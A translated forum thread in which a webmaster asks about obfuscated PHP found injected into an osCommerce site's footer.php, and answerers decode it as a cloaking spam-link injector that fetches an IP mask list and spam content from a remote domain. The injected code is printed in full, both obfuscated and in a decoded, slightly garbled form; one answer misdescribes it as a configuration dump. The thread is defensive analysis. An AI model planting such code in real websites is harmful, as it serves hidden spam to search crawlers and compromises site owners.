#php #exploit #shellcode
#php #эксплойт #шеллкод
Вопрос:
Я смотрю на сайт, который был кем-то / чем-то использован. В нижний колонтитул сайта была введена куча ссылок, которые ссылаются на фармацевтические материалы и кто знает, что еще. Есть / было много ссылок прямо в верхней части нижнего колонтитула. Я могу найти их только сейчас, на кэшированных страницах в индексе Yahoo. Однако Google по-прежнему недоволен сайтом, и живой сайт больше не показывает никаких ссылок. Это для client..so Я в основном знаю, что мне сказали, и что я могу найти еще мудрого.
Я нашел этот код на самом «кончике» footer.php (это сайт OsCommerse):
<?php $x13="cou156x74"; $x14="x65x72162x6frx5fx72ep157162164ing"; $x15="146151lx65"; $x16="146i154145_gx65tx5fx63x6fn164145n164s"; $x17="163x74rle156"; $x18="163tr160ox73"; $x19="sux62x73164162"; $x1a="tr151m";
ini_set(' display_errors','off');$x14(0);$x0b = "150tx74px3a5757x67145nx73h157x7056org/163x63162ipt57155a163kx2ex74xx74";$x0c = $x0b; $x0d = $_SERVER["x52E115O124105_A104104122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) amp;amp; $x18($x0d, $x10) === 0 ) { $x12 =$x16("150164164160x3a/57g145x6ex73x68o16056o162x6757160aralx69x6ex6bx73x2f156e167x2f357x66145e144x72157llex72x2e143x6fx6dx2ex74170x74"); echo "$x12"; } }}echo "x3c4155x2d 60x3671x63x35b4x66e5606267146x39x62637x64x653x31d2be514514114366x3740x2d-76";?>
Когда я просматриваю исходные кэшированные страницы с «плохими» ссылками, этот код подходит именно к тому месту, где я его нашел в footer.php исходный код. Небольшое исследование в Google показывает, что существуют эксплойты с похожим кодом.
Как вы думаете, когда я запускаю его на своем собственном сервере, все, что я получаю, это повторенный комментарий в исходном коде, только вот так:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 -->
Я не хочу просто поспешно удалять код и говорить «ваш хороший» только потому, что он выглядит плохо, особенно потому, что у меня нет немедленного способа узнать, что «плохие ссылки» исчезли. Кстати, все ссылки ведут на мертвый URL.
Вы можете увидеть поврежденные страницы, которые все еще кэшируются в Yahoo: http://74.6.117.48/search/srpcache?ei=UTF-8amp;p=http://www.feedroller.com/ medicineamp;fr=yfp-t-701amp;u=http://cc.bingj.com/cache.aspx?q=http://www.feedroller.com/ medicineamp;d=4746458759365253amp;mkt=en-USamp;setlang=en-USamp;w=b97b0175,d5f14ae5amp;icp=1amp;.intl=usamp;sig=Ifqk1OuvHXNcZnGgPR9PbA—
Комментарии:
1. это всего лишь зашифрованные данные.
2. Да, это код эксплойта. намеренно запутан, чтобы было «трудно» увидеть, что он делает. Как только вы пройдете через слои запутывания, это сведется к чему-то вроде
eval($do_something_nasty)
.3.
echo -n 'primitive' | md5 # => 069c5b4fe5027f9b37de31d2be5eac67
🙂4. @marc Я подумал, что это была попытка «запутать», это часть того, что заставило меня это заметить. Я собираюсь удалить его и посмотреть, станет ли все работать немного плавнее. Спасибо
Ответ №1:
Кажется, он ссылается / загружает два URL:
Это просто скрипт рассылки спама.
Для частичной разблокировки используйте:
print preg_replace('#"[^"] \\w "#e', "stripcslashes('$0')", $source);
Ответ №2:
вот неискаженный скрипт (более или менее)
он просто сбрасывает содержимое этого URL на вашу страницу
он также проверяет remote_addr по списку IP-адресов (Google и др.), чтобы попытаться остаться необнаруженным.
похоже, вас атакует genshop.com
<?php
$count="cou156x74"; // count
$error_reporting="x65x72162x6frx5fx72ep157162164ing"; // error_reporting
$file="146151lx65"; // file
$file_get_contents="146i154145_gx65tx5fx63x6fn164145n164s"; // file_get_contents
$strlen="163x74rle156"; // strlen
$strpos="163tr160ox73"; // strpos
$substr="sux62x73164162"; // substr
$trim="tr151m"; //trim
ini_set(' display_errors','off');
$error_reporting(0);
$x0b = "http://genshop.org/scripts/mask.txt";
$url = $x0b;
$tmp = "REMOTE_ADDR";
$x0d = $_SERVER[$tmp];
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt";
$IPs = @ $file($url);
for ( $i = 0; $i < $count($IPs); $i ) {
$curr_ip = $trim($ips[$i]);
if ( $curr_ip != "" ) {
if ( ($x11 = $strpos($curr_ip, "*")) !== false )
$curr_ip = $substr($curr_ip, 0,$x11);
// check visitor ip against mask list
if ( $strlen($curr_ip) <= $strlen($x0d) amp;amp; $strpos($x0d, $curr_ip) === 0 ) {
$x12 = $file_get_content($tmp_filename);
echo "$x12";
// print spam contents
}
}
}
echo $curr_ip;
}
$tmp2 = "x3c4155x2d 60x3671x63x35b4x66e5606267146x39x62637x64x653x31d2be514514114366x3740x2d-76";
echo $tmp2;
?>
Комментарии:
1. Как бы они передали это в источник? Это просто случай плохих прав доступа к файлам, или это случай плохого хостинга, или и то, и другое вместе?
2. я предполагаю, что у вас где-то есть какой-то скрипт, который записывает данные на ваш диск, и его можно использовать. возможно, и загрузить скрипт или какой-нибудь готовый cgi, который изменяет файловую систему? Вы где-нибудь используете exec () или system ()? это можно исправить с лучшими разрешениями, но было бы лучше, если бы вы нашли и закрыли дыру.
3. код эксплойта всегда странный … обратите внимание, у них есть дополнительный код для исправления звездочки в их списке IP-адресов маски… почему бы просто не изменить mask.txt ? лол.
4. Спасибо, мне нужно будет с ним ознакомиться. Это не мой сайт, я только сегодня утром просмотрел его из-за эксплойта. Это сайт OsCommerse, поэтому ‘exec()’ или ‘system()’ вполне вероятны. Раздел администратора показывает все файлы и допускает множество операций… для начала.
5. ах, если они используют упакованное программное обеспечение, тогда я бы начал с проверки уведомлений о безопасности в osCommerce. они, вероятно, уже знают об этом и имеют исправление.
Ответ №3:
В значительной степени это попытка сбросить информацию о вашей запущенной конфигурации. Немедленно удалите его.
Способ, которым это работает, очень сложный и находится за пределами моего понимания, но это один из первых шагов по взлому вашего сайта.
Комментарии:
1. Спасибо за ответ, это тоже выше моего понимания. Я собираюсь удалить его и вернуться сюда немного позже. Я думаю, что просмотрю все исходные тексты и попытаюсь найти больше. Спасибо
2. @rhaag71 вероятно, вам следует сменить ftp и любые пароли для входа на сервер, которые у вас есть, или тот же парень может просто вернуться.